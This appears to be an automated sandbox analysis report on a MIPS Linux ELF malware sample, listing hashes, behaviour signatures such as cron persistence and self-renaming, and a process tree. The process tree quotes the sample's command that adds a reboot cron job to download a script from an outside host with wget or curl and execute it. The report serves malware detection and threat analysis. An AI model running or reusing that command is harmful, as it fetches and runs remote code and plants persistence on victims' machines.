Analysis

  • max time kernel
    149s
  • max time network
    139s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    27-10-2024 02:02

General

  • Target

    0d8c3289a2b21abb0d414e2c730d46081e9334a97b5e0b52b9a2f248c59a59ad.elf

  • Size

    99KB

  • MD5

    2bc1855eb4297c28116e412b6705e14a

  • SHA1

    4d8189399c887b335e1d690961e38b806948d9cd

  • SHA256

    0d8c3289a2b21abb0d414e2c730d46081e9334a97b5e0b52b9a2f248c59a59ad

  • SHA512

    1074aa161b94e13c473e8cf23d6bbd6baa531854b4c110b8142ccd8e8296b6a94751e55907f9ed6aff7d1b470676c81ea5754fdfeef14f8829dc9a5e3452d26e

  • SSDEEP

    1536:uo6JSd6vTfjZ0IonWnP4MmBGSBGxJGSnuqMLHRvMNswe+fYgHIRyyR:upP5ld4MaqMjRUKuYRyyR

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Renames itself 1 IoCs
  • Unexpected DNS network traffic destination 1 IoCs

    Network traffic to other servers than the configured DNS servers was detected on the DNS port.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Changes its process name 1 IoCs
  • Reads runtime system information 15 IoCs

    Reads data from /proc virtual filesystem.

Processes

  • /tmp/0d8c3289a2b21abb0d414e2c730d46081e9334a97b5e0b52b9a2f248c59a59ad.elf
    /tmp/0d8c3289a2b21abb0d414e2c730d46081e9334a97b5e0b52b9a2f248c59a59ad.elf
    1⤵
    • Renames itself
    • Changes its process name
    • Reads runtime system information
    PID:703
    • /bin/sh
      sh -c "(crontab -l ; echo \"@reboot cd /tmp; wget http://hailcocks.ru/wget.sh; curl --output wget.sh http://hailcocks.ru/wget.sh; chmod 777 wget.sh; ./wget.sh\") | crontab -"
      2⤵
      • File and Directory Permissions Modification
      PID:704
      • /usr/bin/crontab
        crontab -
        3⤵
        • Creates/modifies Cron job
        • Reads runtime system information
        PID:707
      • /usr/bin/crontab
        crontab -l
        3⤵
        • Reads runtime system information
        PID:708

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • /var/spool/cron/crontabs/tmp.XSZqxU

    Filesize

    306B

    MD5

    68130ff0ed9a7764cd371c8e6baa6210

    SHA1

    d82a9fc5bdb2d9f1cee0bd8458c1f3e94255f3d3

    SHA256

    3bc09503863de8ab831cfaa97b2f03120397fdaa453c39d3db16f32a0124e462

    SHA512

    a344d6280beb8e6a2af5740eb256947e5153210f4fb81c28db5d356cf8189e1bb9719e854a8a94b251506393cdcf2ef4e8e039b345dc0d2f951121627e9245aa